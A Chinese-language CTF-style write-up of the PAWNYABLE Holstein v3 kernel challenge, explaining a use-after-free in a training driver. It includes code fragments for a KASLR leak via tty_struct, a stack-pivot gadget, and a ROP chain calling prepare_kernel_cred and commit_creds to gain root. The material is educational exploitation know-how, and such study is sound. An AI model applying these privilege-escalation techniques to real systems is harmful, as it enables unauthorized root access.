PAWNYABLE UAF漏洞解析(Holstein v3)
引言
作者分享了学习Linux内核漏洞利用的历程,重点介绍了PAWNYABLE平台提供的学习资源。该平台包含Linux内核漏洞利用教程,涵盖调试环境搭建、CTF技巧、现代内核防护机制等内容。
技术背景
- 漏洞类型:驱动程序中的Use-After-Free漏洞关键结构:
tty_struct和msg_msg内核数据结构利用技术:KASLR绕过、堆喷(Heap Spraying)、ROP链构造漏洞分析
驱动程序存在以下问题代码:
char *g_buf = NULL;static int module_open(struct inode *inode, struct file *file) { g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); // 分配内核缓冲区 // ...}static int module_close(struct inode *inode, struct file *file) { kfree(g_buf); // 释放缓冲区但未置空 return 0;}通过多次打开/关闭驱动描述符,可创建UAF条件。
利用步骤
KASLR绕过:
- 利用
tty_struct的ops指针泄露内核基址uint64_t ops = *(uint64_t *)&ops_buf[24]; // 读取tty_operations指针uint64_t base = ops - 0xc39b40ULL; // 计算内核基址控制流劫持:
- 伪造
tty_operations函数表使用栈转移gadget:0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;ROP链构建:
*rop++ = pop_rdi; *rop++ = 0x0;*rop++ = prepare_kernel_cred; // 获取root凭证*rop++ = xchg_rdi_rax;*rop++ = commit_creds; // 提权内存布局操控:
- 使用
msg_msg结构精确控制堆布局通过消息队列泄露内核堆地址可靠性增强
- 校验
tty_struct的magic值(0x5401)使用特定消息类型(0x1337)标识msg_msg结构修复清理函数指针避免内核崩溃完整利用代码
包含以下关键组件:
/dev/ptmx喷射实现堆风水多阶段UAF触发逻辑用户态-内核态切换的KPTI绕过延伸阅读
推荐的内核漏洞利用资源:
- Grapl Security的IOUring漏洞分析Google Project Zero的CVE-2021-22555分析NCC Group的CVE-2022-32250漏洞报告
特别感谢@ptrYudai和@chompie1337提供的宝贵资源和建议。
